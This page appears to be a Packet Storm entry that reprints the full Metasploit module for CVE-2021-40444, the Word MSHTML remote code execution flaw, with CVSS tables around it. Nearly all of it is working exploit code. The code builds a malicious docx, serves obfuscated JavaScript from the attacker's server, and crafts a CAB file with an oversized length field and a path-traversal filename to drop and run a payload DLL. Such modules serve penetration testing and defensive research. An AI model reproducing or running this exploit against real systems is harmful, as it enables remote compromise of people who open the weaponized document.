Lucene search

K
packetstormLockedByte, Ramella Sebastien, thesunRider, klezVirus, metasploit.comPACKETSTORM:165214
HistoryDec 09, 2021 - 12:00 a.m.

Microsoft Office Word MSHTML Remote Code Execution

2021-12-0900:00:00
LockedByte, Ramella Sebastien, thesunRider, klezVirus, metasploit.com
packetstormsecurity.com
463

7.8 High

CVSS3

Attack Vector

LOCAL

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

6.8 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:M/Au:N/C:P/I:P/A:P

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::FILEFORMAT  
include Msf::Exploit::Remote::HttpServer::HTML  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Microsoft Office Word Malicious MSHTML RCE',  
'Description' => %q{  
This module creates a malicious docx file that when opened in Word on a vulnerable Windows  
system will lead to code execution. This vulnerability exists because an attacker can  
craft a malicious ActiveX control to be used by a Microsoft Office document that hosts  
the browser rendering engine.  
},  
'References' => [  
['CVE', '2021-40444'],  
['URL', 'https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40444'],  
['URL', 'https://www.sentinelone.com/blog/peeking-into-cve-2021-40444-ms-office-zero-day-vulnerability-exploited-in-the-wild/'],  
['URL', 'http://download.microsoft.com/download/4/d/a/4da14f27-b4ef-4170-a6e6-5b1ef85b1baa/[ms-cab].pdf'],  
['URL', 'https://github.com/lockedbyte/CVE-2021-40444/blob/master/REPRODUCE.md'],  
['URL', 'https://github.com/klezVirus/CVE-2021-40444']  
],  
'Author' => [  
'lockedbyte ', # Vulnerability discovery.  
'klezVirus ', # References and PoC.  
'thesunRider', # Official Metasploit module.  
'mekhalleh (RAMELLA Sébastien)' # Zeop-CyberSecurity - code base contribution and refactoring.  
],  
'DisclosureDate' => '2021-09-23',  
'License' => MSF_LICENSE,  
'Privileged' => false,  
'Platform' => 'win',  
'Arch' => [ARCH_X64],  
'Payload' => {  
'DisableNops' => true  
},  
'DefaultOptions' => {  
'FILENAME' => 'msf.docx'  
},  
'Targets' => [  
[  
'Hosted', {}  
]  
],  
'DefaultTarget' => 0,  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [UNRELIABLE_SESSION],  
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]  
}  
)  
)  
  
register_options([  
OptBool.new('OBFUSCATE', [true, 'Obfuscate JavaScript content.', true])  
])  
register_advanced_options([  
OptPath.new('DocxTemplate', [ false, 'A DOCX file that will be used as a template to build the exploit.' ]),  
])  
end  
  
def bin_to_hex(bstr)  
return(bstr.each_byte.map { |b| b.to_s(16).rjust(2, '0') }.join)  
end  
  
def cab_checksum(data, seed = "\x00\x00\x00\x00")  
checksum = seed  
  
bytes = ''  
data.chars.each_slice(4).map(&:join).each do |dword|  
if dword.length == 4  
checksum = checksum.unpack('C*').zip(dword.unpack('C*')).map { |a, b| a ^ b }.pack('C*')  
else  
bytes = dword  
end  
end  
checksum = checksum.reverse  
  
case (data.length % 4)  
when 3  
dword = "\x00#{bytes}"  
when 2  
dword = "\x00\x00#{bytes}"  
when 1  
dword = "\x00\x00\x00#{bytes}"  
else  
dword = "\x00\x00\x00\x00"  
end  
  
checksum = checksum.unpack('C*').zip(dword.unpack('C*')).map { |a, b| a ^ b }.pack('C*').reverse  
end  
  
# http://download.microsoft.com/download/4/d/a/4da14f27-b4ef-4170-a6e6-5b1ef85b1baa/[ms-cab].pdf  
def create_cab(data)  
cab_cfdata = ''  
filename = "../#{File.basename(@my_resources.first)}.inf"  
block_size = 32768  
struct_cffile = 0xd  
struct_cfheader = 0x30  
  
block_counter = 0  
data.chars.each_slice(block_size).map(&:join).each do |block|  
block_counter += 1  
  
seed = "#{[block.length].pack('S')}#{[block.length].pack('S')}"  
csum = cab_checksum(block, seed)  
  
vprint_status("Data block added w/ checksum: #{bin_to_hex(csum)}")  
cab_cfdata << csum # uint32 {4} - Checksum  
cab_cfdata << [block.length].pack('S') # uint16 {2} - Compressed Data Length  
cab_cfdata << [block.length].pack('S') # uint16 {2} - Uncompressed Data Length  
cab_cfdata << block  
end  
  
cab_size = [  
struct_cfheader +  
struct_cffile +  
filename.length +  
cab_cfdata.length  
].pack('L<')  
  
# CFHEADER (http://wiki.xentax.com/index.php/Microsoft_Cabinet_CAB)  
cab_header = "\x4D\x53\x43\x46" # uint32 {4} - Header (MSCF)  
cab_header << "\x00\x00\x00\x00" # uint32 {4} - Reserved (null)  
cab_header << cab_size # uint32 {4} - Archive Length  
cab_header << "\x00\x00\x00\x00" # uint32 {4} - Reserved (null)  
  
cab_header << "\x2C\x00\x00\x00" # uint32 {4} - Offset to the first CFFILE  
cab_header << "\x00\x00\x00\x00" # uint32 {4} - Reserved (null)  
cab_header << "\x03" # byte {1} - Minor Version (3)  
cab_header << "\x01" # byte {1} - Major Version (1)  
cab_header << "\x01\x00" # uint16 {2} - Number of Folders  
cab_header << "\x01\x00" # uint16 {2} - Number of Files  
cab_header << "\x00\x00" # uint16 {2} - Flags  
  
cab_header << "\xD2\x04" # uint16 {2} - Cabinet Set ID Number  
cab_header << "\x00\x00" # uint16 {2} - Sequential Number of this Cabinet file in a Set  
  
# CFFOLDER  
cab_header << [ # uint32 {4} - Offset to the first CFDATA in this Folder  
struct_cfheader +  
struct_cffile +  
filename.length  
].pack('L<')  
cab_header << [block_counter].pack('S<') # uint16 {2} - Number of CFDATA blocks in this Folder  
cab_header << "\x00\x00" # uint16 {2} - Compression Format for each CFDATA in this Folder (1 = MSZIP)  
  
# increase file size to trigger vulnerability  
cab_header << [ # uint32 {4} - Uncompressed File Length ("\x02\x00\x5C\x41")  
data.length + 1073741824  
].pack('L<')  
  
# set current date and time in the format of cab file  
date_time = Time.new  
date = [((date_time.year - 1980) << 9) + (date_time.month << 5) + date_time.day].pack('S')  
time = [(date_time.hour << 11) + (date_time.min << 5) + (date_time.sec / 2)].pack('S')  
  
# CFFILE  
cab_header << "\x00\x00\x00\x00" # uint32 {4} - Offset in the Uncompressed CFDATA for the Folder this file belongs to (relative to the start of the Uncompressed CFDATA for this Folder)  
cab_header << "\x00\x00" # uint16 {2} - Folder ID (starts at 0)  
cab_header << date # uint16 {2} - File Date (\x5A\x53)  
cab_header << time # uint16 {2} - File Time (\xC3\x5C)  
cab_header << "\x20\x00" # uint16 {2} - File Attributes  
cab_header << filename # byte {X} - Filename (ASCII)  
cab_header << "\x00" # byte {1} - null Filename Terminator  
  
cab_stream = cab_header  
  
# CFDATA  
cab_stream << cab_cfdata  
end  
  
def generate_html  
uri = "#{@proto}://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}#{normalize_uri(@my_resources.first.to_s)}.cab"  
inf = "#{File.basename(@my_resources.first)}.inf"  
  
file_path = ::File.join(::Msf::Config.data_directory, 'exploits', 'CVE-2021-40444', 'cve_2021_40444.js')  
js_content = ::File.binread(file_path)  
  
js_content.gsub!('REPLACE_INF', inf)  
js_content.gsub!('REPLACE_URI', uri)  
if datastore['OBFUSCATE']  
print_status('Obfuscate JavaScript content')  
  
js_content = Rex::Exploitation::JSObfu.new js_content  
js_content = js_content.obfuscate(memory_sensitive: false)  
end  
  
html = '<!DOCTYPE html><html><head><meta http-equiv="Expires" content="-1"><meta http-equiv="X-UA-Compatible" content="IE=11"></head><body><script>'  
html += js_content.to_s  
html += '</script></body></html>'  
html  
end  
  
def get_file_in_docx(fname)  
i = @docx.find_index { |item| item[:fname] == fname }  
  
unless i  
fail_with(Failure::NotFound, "This template cannot be used because it is missing: #{fname}")  
end  
  
@docx.fetch(i)[:data]  
end  
  
def get_template_path  
datastore['DocxTemplate'] || File.join(Msf::Config.data_directory, 'exploits', 'CVE-2021-40444', 'cve-2021-40444.docx')  
end  
  
def inject_docx  
document_xml = get_file_in_docx('word/document.xml')  
unless document_xml  
fail_with(Failure::NotFound, 'This template cannot be used because it is missing: word/document.xml')  
end  
  
document_xml_rels = get_file_in_docx('word/_rels/document.xml.rels')  
unless document_xml_rels  
fail_with(Failure::NotFound, 'This template cannot be used because it is missing: word/_rels/document.xml.rels')  
end  
  
uri = "#{@proto}://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}#{normalize_uri(@my_resources.first.to_s)}.html"  
@docx.each do |entry|  
case entry[:fname]  
when 'word/document.xml'  
entry[:data] = document_xml.to_s.gsub!('TARGET_HERE', uri.to_s)  
when 'word/_rels/document.xml.rels'  
entry[:data] = document_xml_rels.to_s.gsub!('TARGET_HERE', "mhtml:#{uri}!x-usc:#{uri}")  
end  
end  
end  
  
def normalize_uri(*strs)  
new_str = strs * '/'  
  
new_str = new_str.gsub!('//', '/') while new_str.index('//')  
  
# makes sure there's a starting slash  
unless new_str[0, 1] == '/'  
new_str = '/' + new_str  
end  
  
new_str  
end  
  
def on_request_uri(cli, request)  
header_cab = {  
'Access-Control-Allow-Origin' => '*',  
'Access-Control-Allow-Methods' => 'GET, POST, OPTIONS',  
'Cache-Control' => 'no-store, no-cache, must-revalidate',  
'Content-Type' => 'application/octet-stream',  
'Content-Disposition' => "attachment; filename=#{File.basename(@my_resources.first)}.cab"  
}  
  
header_html = {  
'Access-Control-Allow-Origin' => '*',  
'Access-Control-Allow-Methods' => 'GET, POST',  
'Cache-Control' => 'no-store, no-cache, must-revalidate',  
'Content-Type' => 'text/html; charset=UTF-8'  
}  
  
if request.method.eql? 'HEAD'  
if request.raw_uri.to_s.end_with? '.cab'  
send_response(cli, '', header_cab)  
else  
send_response(cli, '', header_html)  
end  
elsif request.method.eql? 'OPTIONS'  
response = create_response(501, 'Unsupported Method')  
response['Content-Type'] = 'text/html'  
response.body = ''  
  
cli.send_response(response)  
elsif request.raw_uri.to_s.end_with? '.html'  
print_status('Sending HTML Payload')  
  
send_response_html(cli, generate_html, header_html)  
elsif request.raw_uri.to_s.end_with? '.cab'  
print_status('Sending CAB Payload')  
  
send_response(cli, create_cab(@dll_payload), header_cab)  
end  
end  
  
def pack_docx  
@docx.each do |entry|  
if entry[:data].is_a?(Nokogiri::XML::Document)  
entry[:data] = entry[:data].to_s  
end  
end  
  
Msf::Util::EXE.to_zip(@docx)  
end  
  
def unpack_docx(template_path)  
document = []  
  
Zip::File.open(template_path) do |entries|  
entries.each do |entry|  
if entry.name.match(/\.xml|\.rels$/i)  
content = Nokogiri::XML(entry.get_input_stream.read) if entry.file?  
elsif entry.file?  
content = entry.get_input_stream.read  
end  
  
vprint_status("Parsing item from template: #{entry.name}")  
  
document << { fname: entry.name, data: content }  
end  
end  
  
document  
end  
  
def primer  
print_status('CVE-2021-40444: Generate a malicious docx file')  
  
@proto = (datastore['SSL'] ? 'https' : 'http')  
if datastore['SRVHOST'] == '0.0.0.0'  
datastore['SRVHOST'] = Rex::Socket.source_address  
end  
  
template_path = get_template_path  
unless File.extname(template_path).match(/\.docx$/i)  
fail_with(Failure::BadConfig, 'Template is not a docx file!')  
end  
  
print_status("Using template '#{template_path}'")  
@docx = unpack_docx(template_path)  
  
print_status('Injecting payload in docx document')  
inject_docx  
  
print_status("Finalizing docx '#{datastore['FILENAME']}'")  
file_create(pack_docx)  
  
@dll_payload = Msf::Util::EXE.to_win64pe_dll(  
framework,  
payload.encoded,  
{  
arch: payload.arch.first,  
mixed_mode: true,  
platform: 'win'  
}  
)  
end  
end  
`

7.8 High

CVSS3

Attack Vector

LOCAL

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

6.8 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:M/Au:N/C:P/I:P/A:P